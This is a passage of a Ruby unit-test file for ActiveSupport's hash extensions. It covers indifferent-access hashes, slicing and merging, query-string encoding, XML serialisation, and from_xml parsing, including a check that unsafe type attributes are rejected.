hash = HashWithIndifferentAccess.new
hash[:a] = 42
replaced = hash.replace(HashByConversion.new(b: 12))
assert hash.key?("b")
assert !hash.key?(:a)
assert_equal 12, hash[:b]
assert_same hash, replaced
end
def test_indifferent_merging_with_block
hash = HashWithIndifferentAccess.new
hash[:a] = 1
hash["b"] = 3
other = { "a" => 4, :b => 2, "c" => 10 }
merged = hash.merge(other) { |key, old, new| old > new ? old : new }
assert_equal HashWithIndifferentAccess, merged.class
assert_equal 4, merged[:a]
assert_equal 3, merged["b"]
assert_equal 10, merged[:c]
other_indifferent = HashWithIndifferentAccess.new("a" => 9, :b => 2)
merged = hash.merge(other_indifferent) { |key, old, new| old + new }
assert_equal HashWithIndifferentAccess, merged.class
assert_equal 10, merged[:a]
assert_equal 5, merged[:b]
end
def test_indifferent_reverse_merging
hash = HashWithIndifferentAccess.new key: :old_value
hash.reverse_merge! key: :new_value
assert_equal :old_value, hash[:key]
hash = HashWithIndifferentAccess.new("some" => "value", "other" => "value")
hash.reverse_merge!(some: "noclobber", another: "clobber")
assert_equal "value", hash[:some]
assert_equal "clobber", hash[:another]
end
def test_indifferent_deleting
get_hash = proc{ { a: "foo" }.with_indifferent_access }
hash = get_hash.call
assert_equal hash.delete(:a), "foo"
assert_equal hash.delete(:a), nil
hash = get_hash.call
assert_equal hash.delete("a"), "foo"
assert_equal hash.delete("a"), nil
end
def test_indifferent_select
hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| v == 1}
assert_equal({ "a" => 1 }, hash)
assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
end
def test_indifferent_select_returns_enumerator
enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).select
assert_instance_of Enumerator, enum
end
def test_indifferent_select_returns_a_hash_when_unchanged
hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| true}
assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
end
def test_indifferent_select_bang
indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
indifferent_strings.select! {|k,v| v == 1}
assert_equal({ "a" => 1 }, indifferent_strings)
assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
end
def test_indifferent_reject
hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject {|k,v| v != 1}
assert_equal({ "a" => 1 }, hash)
assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
end
def test_indifferent_reject_returns_enumerator
enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject
assert_instance_of Enumerator, enum
end
def test_indifferent_reject_bang
indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
indifferent_strings.reject! {|k,v| v != 1}
assert_equal({ "a" => 1 }, indifferent_strings)
assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
end
def test_indifferent_to_hash
# Should convert to a Hash with String keys.
assert_equal @strings, @mixed.with_indifferent_access.to_hash
# Should preserve the default value.
mixed_with_default = @mixed.dup
mixed_with_default.default = "1234"
roundtrip = mixed_with_default.with_indifferent_access.to_hash
assert_equal @strings, roundtrip
assert_equal "1234", roundtrip.default
# Ensure nested hashes are not HashWithIndiffereneAccess
new_to_hash = @nested_mixed.with_indifferent_access.to_hash
assert_not new_to_hash.instance_of?(HashWithIndifferentAccess)
assert_not new_to_hash["a"].instance_of?(HashWithIndifferentAccess)
assert_not new_to_hash["a"]["b"].instance_of?(HashWithIndifferentAccess)
end
def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
hash = HashWithIndifferentAccess.new {|h, k| h[k] = []}
hash[:a] << 1
assert_equal [1], hash[:a]
end
def test_with_indifferent_access_has_no_side_effects_on_existing_hash
hash = {content: [{:foo => :bar, "bar" => "baz"}]}
hash.with_indifferent_access
assert_equal [:foo, "bar"], hash[:content].first.keys
end
def test_indifferent_hash_with_array_of_hashes
hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
assert_equal "1", hash[:urls][:url].first[:address]
hash = hash.to_hash
assert_not hash.instance_of?(HashWithIndifferentAccess)
assert_not hash["urls"].instance_of?(HashWithIndifferentAccess)
assert_not hash["urls"]["url"].first.instance_of?(HashWithIndifferentAccess)
end
def test_should_preserve_array_subclass_when_value_is_array
array = SubclassingArray.new
array << { "address" => "1" }
hash = { "urls" => { "url" => array }}.with_indifferent_access
assert_equal SubclassingArray, hash[:urls][:url].class
end
def test_should_preserve_array_class_when_hash_value_is_frozen_array
array = SubclassingArray.new
array << { "address" => "1" }
hash = { "urls" => { "url" => array.freeze }}.with_indifferent_access
assert_equal SubclassingArray, hash[:urls][:url].class
end
def test_stringify_and_symbolize_keys_on_indifferent_preserves_hash
h = HashWithIndifferentAccess.new
h[:first] = 1
h = h.stringify_keys
assert_equal 1, h["first"]
h = HashWithIndifferentAccess.new
h["first"] = 1
h = h.symbolize_keys
assert_equal 1, h[:first]
end
def test_deep_stringify_and_deep_symbolize_keys_on_indifferent_preserves_hash
h = HashWithIndifferentAccess.new
h[:first] = 1
h = h.deep_stringify_keys
assert_equal 1, h["first"]
h = HashWithIndifferentAccess.new
h["first"] = 1
h = h.deep_symbolize_keys
assert_equal 1, h[:first]
end
def test_to_options_on_indifferent_preserves_hash
h = HashWithIndifferentAccess.new
h["first"] = 1
h.to_options!
assert_equal 1, h["first"]
end
def test_to_options_on_indifferent_preserves_works_as_hash_with_dup
h = HashWithIndifferentAccess.new(a: { b: "b" })
dup = h.dup
dup[:a][:c] = "c"
assert_equal "c", h[:a][:c]
end
def test_indifferent_sub_hashes
h = {"user" => {"id" => 5}}.with_indifferent_access
["user", :user].each {|user| [:id, "id"].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
h = {user: {id: 5}}.with_indifferent_access
["user", :user].each {|user| [:id, "id"].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
end
def test_indifferent_duplication
# Should preserve default value
h = HashWithIndifferentAccess.new
h.default = "1234"
assert_equal h.default, h.dup.default
# Should preserve class for subclasses
h = IndifferentHash.new
assert_equal h.class, h.dup.class
end
def test_nested_dig_indifferent_access
skip if RUBY_VERSION < "2.3.0"
data = {"this" => {"views" => 1234}}.with_indifferent_access
assert_equal 1234, data.dig(:this, :views)
end
def test_assert_valid_keys
assert_nothing_raised do
{ failure: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny ])
{ failure: "stuff", funny: "business" }.assert_valid_keys(:failure, :funny)
end
# not all valid keys are required to be present
assert_nothing_raised do
{ failure: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny, :sunny ])
{ failure: "stuff", funny: "business" }.assert_valid_keys(:failure, :funny, :sunny)
end
exception = assert_raise ArgumentError do
{ failore: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny ])
end
assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
exception = assert_raise ArgumentError do
{ failore: "stuff", funny: "business" }.assert_valid_keys(:failure, :funny)
end
assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
exception = assert_raise ArgumentError do
{ failore: "stuff", funny: "business" }.assert_valid_keys([ :failure ])
end
assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
exception = assert_raise ArgumentError do
{ failore: "stuff", funny: "business" }.assert_valid_keys(:failure)
end
assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
end
def test_assorted_keys_not_stringified
original = {Object.new => 2, 1 => 2, [] => true}
indiff = original.with_indifferent_access
assert(!indiff.keys.any? {|k| k.kind_of? String}, "A key was converted to a string!")
end
def test_deep_merge
hash_1 = { a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } } }
hash_2 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
expected = { a: 1, b: "b", c: { c1: 2, c2: "c2", c3: { d1: "d1", d2: "d2" } } }
assert_equal expected, hash_1.deep_merge(hash_2)
hash_1.deep_merge!(hash_2)
assert_equal expected, hash_1
end
def test_deep_merge_with_block
hash_1 = { a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } } }
hash_2 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
expected = { a: [:a, "a", 1], b: "b", c: { c1: [:c1, "c1", 2], c2: "c2", c3: { d1: "d1", d2: "d2" } } }
assert_equal(expected, hash_1.deep_merge(hash_2) { |k,o,n| [k, o, n] })
hash_1.deep_merge!(hash_2) { |k,o,n| [k, o, n] }
assert_equal expected, hash_1
end
def test_deep_merge_with_falsey_values
hash_1 = { e: false }
hash_2 = { e: "e" }
expected = { e: [:e, false, "e"] }
assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })
hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }
assert_equal expected, hash_1
end
def test_deep_merge_on_indifferent_access
hash_1 = HashWithIndifferentAccess.new(a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } })
hash_2 = HashWithIndifferentAccess.new(a: 1, c: { c1: 2, c3: { d2: "d2" } })
hash_3 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
expected = { "a" => 1, "b" => "b", "c" => { "c1" => 2, "c2" => "c2", "c3" => { "d1" => "d1", "d2" => "d2" } } }
assert_equal expected, hash_1.deep_merge(hash_2)
assert_equal expected, hash_1.deep_merge(hash_3)
hash_1.deep_merge!(hash_2)
assert_equal expected, hash_1
end
def test_store_on_indifferent_access
hash = HashWithIndifferentAccess.new
hash.store(:test1, 1)
hash.store("test1", 11)
hash[:test2] = 2
hash["test2"] = 22
expected = { "test1" => 11, "test2" => 22 }
assert_equal expected, hash
end
def test_constructor_on_indifferent_access
hash = HashWithIndifferentAccess[:foo, 1]
assert_equal 1, hash[:foo]
assert_equal 1, hash["foo"]
hash[:foo] = 3
assert_equal 3, hash[:foo]
assert_equal 3, hash["foo"]
end
def test_reverse_merge
defaults = { a: "x", b: "y", c: 10 }.freeze
options = { a: 1, b: 2 }
expected = { a: 1, b: 2, c: 10 }
# Should merge defaults into options, creating a new hash.
assert_equal expected, options.reverse_merge(defaults)
assert_not_equal expected, options
# Should merge! defaults into options, replacing options.
merged = options.dup
assert_equal expected, merged.reverse_merge!(defaults)
assert_equal expected, merged
# Should be an alias for reverse_merge!
merged = options.dup
assert_equal expected, merged.reverse_update(defaults)
assert_equal expected, merged
end
def test_slice
original = { a: "x", b: "y", c: 10 }
expected = { a: "x", b: "y" }
# Should return a new hash with only the given keys.
assert_equal expected, original.slice(:a, :b)
assert_not_equal expected, original
end
def test_slice_inplace
original = { a: "x", b: "y", c: 10 }
expected = { c: 10 }
# Should replace the hash with only the given keys.
assert_equal expected, original.slice!(:a, :b)
end
def test_slice_with_an_array_key
original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
expected = { [:a, :b] => "an array key", :c => 10 }
# Should return a new hash with only the given keys when given an array key.
assert_equal expected, original.slice([:a, :b], :c)
assert_not_equal expected, original
end
def test_slice_inplace_with_an_array_key
original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
expected = { a: "x", b: "y" }
# Should replace the hash with only the given keys when given an array key.
assert_equal expected, original.slice!([:a, :b], :c)
end
def test_slice_with_splatted_keys
original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
expected = { a: "x", b: "y" }
# Should grab each of the splatted keys.
assert_equal expected, original.slice(*[:a, :b])
end
def test_indifferent_slice
original = { a: "x", b: "y", c: 10 }.with_indifferent_access
expected = { a: "x", b: "y" }.with_indifferent_access
[["a", "b"], [:a, :b]].each do |keys|
# Should return a new hash with only the given keys.
assert_equal expected, original.slice(*keys), keys.inspect
assert_not_equal expected, original
end
end
def test_indifferent_slice_inplace
original = { a: "x", b: "y", c: 10 }.with_indifferent_access
expected = { c: 10 }.with_indifferent_access
[["a", "b"], [:a, :b]].each do |keys|
# Should replace the hash with only the given keys.
copy = original.dup
assert_equal expected, copy.slice!(*keys)
end
end
def test_indifferent_slice_access_with_symbols
original = {"login" => "bender", "password" => "shiny", "stuff" => "foo"}
original = original.with_indifferent_access
slice = original.slice(:login, :password)
assert_equal "bender", slice[:login]
assert_equal "bender", slice["login"]
end
def test_slice_bang_does_not_override_default
hash = Hash.new(0)
hash.update(a: 1, b: 2)
hash.slice!(:a)
assert_equal 0, hash[:c]
end
def test_slice_bang_does_not_override_default_proc
hash = Hash.new { |h, k| h[k] = [] }
hash.update(a: 1, b: 2)
hash.slice!(:a)
assert_equal [], hash[:c]
end
def test_extract
original = {a: 1, b: 2, c: 3, d: 4}
expected = {a: 1, b: 2}
remaining = {c: 3, d: 4}
assert_equal expected, original.extract!(:a, :b, :x)
assert_equal remaining, original
end
def test_extract_nils
original = {a: nil, b: nil}
expected = {a: nil}
extracted = original.extract!(:a, :x)
assert_equal expected, extracted
assert_equal nil, extracted[:a]
assert_equal nil, extracted[:x]
end
def test_indifferent_extract
original = {:a => 1, "b" => 2, :c => 3, "d" => 4}.with_indifferent_access
expected = {a: 1, b: 2}.with_indifferent_access
remaining = {c: 3, d: 4}.with_indifferent_access
[["a", "b"], [:a, :b]].each do |keys|
copy = original.dup
assert_equal expected, copy.extract!(*keys)
assert_equal remaining, copy
end
end
def test_except
original = { a: "x", b: "y", c: 10 }
expected = { a: "x", b: "y" }
# Should return a new hash without the given keys.
assert_equal expected, original.except(:c)
assert_not_equal expected, original
# Should replace the hash without the given keys.
assert_equal expected, original.except!(:c)
assert_equal expected, original
end
def test_except_with_more_than_one_argument
original = { a: "x", b: "y", c: 10 }
expected = { a: "x" }
assert_equal expected, original.except(:b, :c)
assert_equal expected, original.except!(:b, :c)
assert_equal expected, original
end
def test_except_with_original_frozen
original = { a: "x", b: "y" }
original.freeze
assert_nothing_raised { original.except(:a) }
assert_raise(RuntimeError) { original.except!(:a) }
end
def test_except_does_not_delete_values_in_original
original = { a: "x", b: "y" }
assert_not_called(original, :delete) do
original.except(:a)
end
end
def test_compact
hash_contain_nil_value = @symbols.merge(z: nil)
hash_with_only_nil_values = { a: nil, b: nil }
h = hash_contain_nil_value.dup
assert_equal(@symbols, h.compact)
assert_equal(hash_contain_nil_value, h)
h = hash_with_only_nil_values.dup
assert_equal({}, h.compact)
assert_equal(hash_with_only_nil_values, h)
h = @symbols.dup
assert_equal(@symbols, h.compact)
assert_equal(@symbols, h)
end
def test_compact!
hash_contain_nil_value = @symbols.merge(z: nil)
hash_with_only_nil_values = { a: nil, b: nil }
h = hash_contain_nil_value.dup
assert_equal(@symbols, h.compact!)
assert_equal(@symbols, h)
h = hash_with_only_nil_values.dup
assert_equal({}, h.compact!)
assert_equal({}, h)
h = @symbols.dup
assert_equal(nil, h.compact!)
assert_equal(@symbols, h)
end
def test_new_with_to_hash_conversion
hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
assert hash.key?("a")
assert_equal 1, hash[:a]
end
def test_dup_with_default_proc
hash = HashWithIndifferentAccess.new
hash.default_proc = proc { |h, v| raise "walrus" }
assert_nothing_raised { hash.dup }
end
def test_dup_with_default_proc_sets_proc
hash = HashWithIndifferentAccess.new
hash.default_proc = proc { |h, k| k + 1 }
new_hash = hash.dup
assert_equal 3, new_hash[2]
new_hash.default = 2
assert_equal 2, new_hash[:non_existent]
end
def test_to_hash_with_raising_default_proc
hash = HashWithIndifferentAccess.new
hash.default_proc = proc { |h, k| raise "walrus" }
assert_nothing_raised { hash.to_hash }
end
def test_new_from_hash_copying_default_should_not_raise_when_default_proc_does
hash = Hash.new
hash.default_proc = proc { |h, k| raise "walrus" }
assert_deprecated { HashWithIndifferentAccess.new_from_hash_copying_default(hash) }
end
def test_new_with_to_hash_conversion_copies_default
normal_hash = Hash.new(3)
normal_hash[:a] = 1
hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
assert_equal 1, hash[:a]
assert_equal 3, hash[:b]
end
def test_new_with_to_hash_conversion_copies_default_proc
normal_hash = Hash.new { 1 + 2 }
normal_hash[:a] = 1
hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
assert_equal 1, hash[:a]
assert_equal 3, hash[:b]
end
end
class IWriteMyOwnXML
def to_xml(options = {})
options[:indent] ||= 2
xml = options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
xml.instruct! unless options[:skip_instruct]
xml.level_one do
xml.tag!(:second_level, "content")
end
end
end
class HashExtToParamTests < ActiveSupport::TestCase
class ToParam < String
def to_param
"#{self}-1"
end
end
def test_string_hash
assert_equal "", {}.to_param
assert_equal "hello=world", { hello: "world" }.to_param
assert_equal "hello=10", { "hello" => 10 }.to_param
assert_equal "hello=world&say_bye=true", {:hello => "world", "say_bye" => true}.to_param
end
def test_number_hash
assert_equal "10=20&30=40&50=60", {10 => 20, 30 => 40, 50 => 60}.to_param
end
def test_to_param_hash
assert_equal "custom-1=param-1&custom2-1=param2-1", {ToParam.new("custom") => ToParam.new("param"), ToParam.new("custom2") => ToParam.new("param2")}.to_param
end
def test_to_param_hash_escapes_its_keys_and_values
assert_equal "param+1=A+string+with+%2F+characters+%26+that+should+be+%3F+escaped", { "param 1" => "A string with / characters & that should be ? escaped" }.to_param
end
def test_to_param_orders_by_key_in_ascending_order
assert_equal "a=2&b=1&c=0", Hash[*%w(b 1 c 0 a 2)].to_param
end
end
class HashToXmlTest < ActiveSupport::TestCase
def setup
@xml_options = { root: :person, skip_instruct: true, indent: 0 }
end
def test_one_level
xml = { name: "David", street: "Paulina" }.to_xml(@xml_options)
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
end
def test_one_level_dasherize_false
xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(dasherize: false))
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street_name>Paulina</street_name>))
assert xml.include?(%(<name>David</name>))
end
def test_one_level_dasherize_true
xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(dasherize: true))
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street-name>Paulina</street-name>))
assert xml.include?(%(<name>David</name>))
end
def test_one_level_camelize_true
xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(camelize: true))
assert_equal "<Person>", xml.first(8)
assert xml.include?(%(<StreetName>Paulina</StreetName>))
assert xml.include?(%(<Name>David</Name>))
end
def test_one_level_camelize_lower
xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(camelize: :lower))
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<streetName>Paulina</streetName>))
assert xml.include?(%(<name>David</name>))
end
def test_one_level_with_types
xml = { name: "David", street: "Paulina", age: 26, age_in_millis: 820497600000, moved_on: Date.new(2005, 11, 15), resident: :yes }.to_xml(@xml_options)
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
assert xml.include?(%(<age type="integer">26</age>))
assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>))
assert xml.include?(%(<moved-on type="date">2005-11-15</moved-on>))
assert xml.include?(%(<resident type="symbol">yes</resident>))
end
def test_one_level_with_nils
xml = { name: "David", street: "Paulina", age: nil }.to_xml(@xml_options)
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
assert xml.include?(%(<age nil="true"/>))
end
def test_one_level_with_skipping_types
xml = { name: "David", street: "Paulina", age: nil }.to_xml(@xml_options.merge(skip_types: true))
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
assert xml.include?(%(<age nil="true"/>))
end
def test_one_level_with_yielding
xml = { name: "David", street: "Paulina" }.to_xml(@xml_options) do |x|
x.creator("Rails")
end
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
assert xml.include?(%(<creator>Rails</creator>))
end
def test_two_levels
xml = { name: "David", address: { street: "Paulina" } }.to_xml(@xml_options)
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<address><street>Paulina</street></address>))
assert xml.include?(%(<name>David</name>))
end
def test_two_levels_with_second_level_overriding_to_xml
xml = { name: "David", address: { street: "Paulina" }, child: IWriteMyOwnXML.new }.to_xml(@xml_options)
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<address><street>Paulina</street></address>))
assert xml.include?(%(<level_one><second_level>content</second_level></level_one>))
end
def test_two_levels_with_array
xml = { name: "David", addresses: [{ street: "Paulina" }, { street: "Evergreen" }] }.to_xml(@xml_options)
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<addresses type="array"><address>))
assert xml.include?(%(<address><street>Paulina</street></address>))
assert xml.include?(%(<address><street>Evergreen</street></address>))
assert xml.include?(%(<name>David</name>))
end
def test_three_levels_with_array
xml = { name: "David", addresses: [{ streets: [ { name: "Paulina" }, { name: "Paulina" } ] } ] }.to_xml(@xml_options)
assert xml.include?(%(<addresses type="array"><address><streets type="array"><street><name>))
end
def test_timezoned_attributes
xml = {
created_at: Time.utc(1999,2,2),
local_created_at: Time.utc(1999,2,2).in_time_zone("Eastern Time (US & Canada)")
}.to_xml(@xml_options)
assert_match %r{<created-at type=\"dateTime\">1999-02-02T00:00:00Z</created-at>}, xml
assert_match %r{<local-created-at type=\"dateTime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
end
def test_multiple_records_from_xml_with_attributes_other_than_type_ignores_them_without_exploding
topics_xml = <<-EOT
<topics type="array" page="1" page-count="1000" per-page="2">
<topic>
<title>The First Topic</title>
<author-name>David</author-name>
<id type="integer">1</id>
<approved type="boolean">false</approved>
<replies-count type="integer">0</replies-count>
<replies-close-in type="integer">2592000000</replies-close-in>
<written-on type="date">2003-07-16</written-on>
<viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
<content>Have a nice day</content>
<author-email-address>[email protected]</author-email-address>
<parent-id nil="true"></parent-id>
</topic>
<topic>
<title>The Second Topic</title>
<author-name>Jason</author-name>
<id type="integer">1</id>
<approved type="boolean">false</approved>
<replies-count type="integer">0</replies-count>
<replies-close-in type="integer">2592000000</replies-close-in>
<written-on type="date">2003-07-16</written-on>
<viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
<content>Have a nice day</content>
<author-email-address>[email protected]</author-email-address>
<parent-id></parent-id>
</topic>
</topics>
EOT
expected_topic_hash = {
title: "The First Topic",
author_name: "David",
id: 1,
approved: false,
replies_count: 0,
replies_close_in: 2592000000,
written_on: Date.new(2003, 7, 16),
viewed_at: Time.utc(2003, 7, 16, 9, 28),
content: "Have a nice day",
author_email_address: "[email protected]",
parent_id: nil
}.stringify_keys
assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
end
def test_single_record_from_xml
topic_xml = <<-EOT
<topic>
<title>The First Topic</title>
<author-name>David</author-name>
<id type="integer">1</id>
<approved type="boolean"> true </approved>
<replies-count type="integer">0</replies-count>
<replies-close-in type="integer">2592000000</replies-close-in>
<written-on type="date">2003-07-16</written-on>
<viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
<author-email-address>[email protected]</author-email-address>
<parent-id></parent-id>
<ad-revenue type="decimal">1.5</ad-revenue>
<optimum-viewing-angle type="float">135</optimum-viewing-angle>
</topic>
EOT
expected_topic_hash = {
title: "The First Topic",
author_name: "David",
id: 1,
approved: true,
replies_count: 0,
replies_close_in: 2592000000,
written_on: Date.new(2003, 7, 16),
viewed_at: Time.utc(2003, 7, 16, 9, 28),
author_email_address: "[email protected]",
parent_id: nil,
ad_revenue: BigDecimal("1.50"),
optimum_viewing_angle: 135.0,
}.stringify_keys
assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
end
def test_single_record_from_xml_with_nil_values
topic_xml = <<-EOT
<topic>
<title></title>
<id type="integer"></id>
<approved type="boolean"></approved>
<written-on type="date"></written-on>
<viewed-at type="datetime"></viewed-at>
<parent-id></parent-id>
</topic>
EOT
expected_topic_hash = {
title: nil,
id: nil,
approved: nil,
written_on: nil,
viewed_at: nil,
parent_id: nil
}.stringify_keys
assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
end
def test_multiple_records_from_xml
topics_xml = <<-EOT
<topics type="array">
<topic>
<title>The First Topic</title>
<author-name>David</author-name>
<id type="integer">1</id>
<approved type="boolean">false</approved>
<replies-count type="integer">0</replies-count>
<replies-close-in type="integer">2592000000</replies-close-in>
<written-on type="date">2003-07-16</written-on>
<viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
<content>Have a nice day</content>
<author-email-address>[email protected]</author-email-address>
<parent-id nil="true"></parent-id>
</topic>
<topic>
<title>The Second Topic</title>
<author-name>Jason</author-name>
<id type="integer">1</id>
<approved type="boolean">false</approved>
<replies-count type="integer">0</replies-count>
<replies-close-in type="integer">2592000000</replies-close-in>
<written-on type="date">2003-07-16</written-on>
<viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
<content>Have a nice day</content>
<author-email-address>[email protected]</author-email-address>
<parent-id></parent-id>
</topic>
</topics>
EOT
expected_topic_hash = {
title: "The First Topic",
author_name: "David",
id: 1,
approved: false,
replies_count: 0,
replies_close_in: 2592000000,
written_on: Date.new(2003, 7, 16),
viewed_at: Time.utc(2003, 7, 16, 9, 28),
content: "Have a nice day",
author_email_address: "[email protected]",
parent_id: nil
}.stringify_keys
assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
end
def test_single_record_from_xml_with_attributes_other_than_type
topic_xml = <<-EOT
<rsp stat="ok">
<photos page="1" pages="1" perpage="100" total="16">
<photo id="175756086" owner="55569174@N00" secret="0279bf37a1" server="76" title="Colored Pencil PhotoBooth Fun" ispublic="1" isfriend="0" isfamily="0"/>
</photos>
</rsp>
EOT
expected_topic_hash = {
id: "175756086",
owner: "55569174@N00",
secret: "0279bf37a1",
server: "76",
title: "Colored Pencil PhotoBooth Fun",
ispublic: "1",
isfriend: "0",
isfamily: "0",
}.stringify_keys
assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["rsp"]["photos"]["photo"]
end
def test_all_caps_key_from_xml
test_xml = <<-EOT
<ABC3XYZ>
<TEST>Lorem Ipsum</TEST>
</ABC3XYZ>
EOT
expected_hash = {
"ABC3XYZ" => {
"TEST" => "Lorem Ipsum"
}
}
assert_equal expected_hash, Hash.from_xml(test_xml)
end
def test_empty_array_from_xml
blog_xml = <<-XML
<blog>
<posts type="array"></posts>
</blog>
XML
expected_blog_hash = {"blog" => {"posts" => []}}
assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
end
def test_empty_array_with_whitespace_from_xml
blog_xml = <<-XML
<blog>
<posts type="array">
</posts>
</blog>
XML
expected_blog_hash = {"blog" => {"posts" => []}}
assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
end
def test_array_with_one_entry_from_xml
blog_xml = <<-XML
<blog>
<posts type="array">
<post>a post</post>
</posts>
</blog>
XML
expected_blog_hash = {"blog" => {"posts" => ["a post"]}}
assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
end
def test_array_with_multiple_entries_from_xml
blog_xml = <<-XML
<blog>
<posts type="array">
<post>a post</post>
<post>another post</post>
</posts>
</blog>
XML
expected_blog_hash = {"blog" => {"posts" => ["a post", "another post"]}}
assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
end
def test_file_from_xml
blog_xml = <<-XML
<blog>
<logo type="file" name="logo.png" content_type="image/png">
</logo>
</blog>
XML
hash = Hash.from_xml(blog_xml)
assert hash.has_key?("blog")
assert hash["blog"].has_key?("logo")
file = hash["blog"]["logo"]
assert_equal "logo.png", file.original_filename
assert_equal "image/png", file.content_type
end
def test_file_from_xml_with_defaults
blog_xml = <<-XML
<blog>
<logo type="file">
</logo>
</blog>
XML
file = Hash.from_xml(blog_xml)["blog"]["logo"]
assert_equal "untitled", file.original_filename
assert_equal "application/octet-stream", file.content_type
end
def test_tag_with_attrs_and_whitespace
xml = <<-XML
<blog name="bacon is the best">
</blog>
XML
hash = Hash.from_xml(xml)
assert_equal "bacon is the best", hash["blog"]["name"]
end
def test_empty_cdata_from_xml
xml = "<data><![CDATA[]]></data>"
assert_equal "", Hash.from_xml(xml)["data"]
end
def test_xsd_like_types_from_xml
bacon_xml = <<-EOT
<bacon>
<weight type="double">0.5</weight>
<price type="decimal">12.50</price>
<chunky type="boolean"> 1 </chunky>
<expires-at type="dateTime">2007-12-25T12:34:56+0000</expires-at>
<notes type="string"></notes>
<illustration type="base64Binary">YmFiZS5wbmc=</illustration>
<caption type="binary" encoding="base64">VGhhdCdsbCBkbywgcGlnLg==</caption>
</bacon>
EOT
expected_bacon_hash = {
weight: 0.5,
chunky: true,
price: BigDecimal("12.50"),
expires_at: Time.utc(2007,12,25,12,34,56),
notes: "",
illustration: "babe.png",
caption: "That'll do, pig."
}.stringify_keys
assert_equal expected_bacon_hash, Hash.from_xml(bacon_xml)["bacon"]
end
def test_type_trickles_through_when_unknown
product_xml = <<-EOT
<product>
<weight type="double">0.5</weight>
<image type="ProductImage"><filename>image.gif</filename></image>
</product>
EOT
expected_product_hash = {
weight: 0.5,
image: {"type" => "ProductImage", "filename" => "image.gif" },
}.stringify_keys
assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]
end
def test_from_xml_raises_on_disallowed_type_attributes
assert_raise ActiveSupport::XMLConverter::DisallowedType do
Hash.from_xml '<product><name type="foo">value</name></product>', %w(foo)
end
end
def test_from_xml_disallows_symbol_and_yaml_types_by_default
assert_raise ActiveSupport::XMLConverter::DisallowedType do
Hash.from_xml '<product><name type="symbol">value</name></product>'
end
assert_raise ActiveSupport::XMLConverter::DisallowedType do
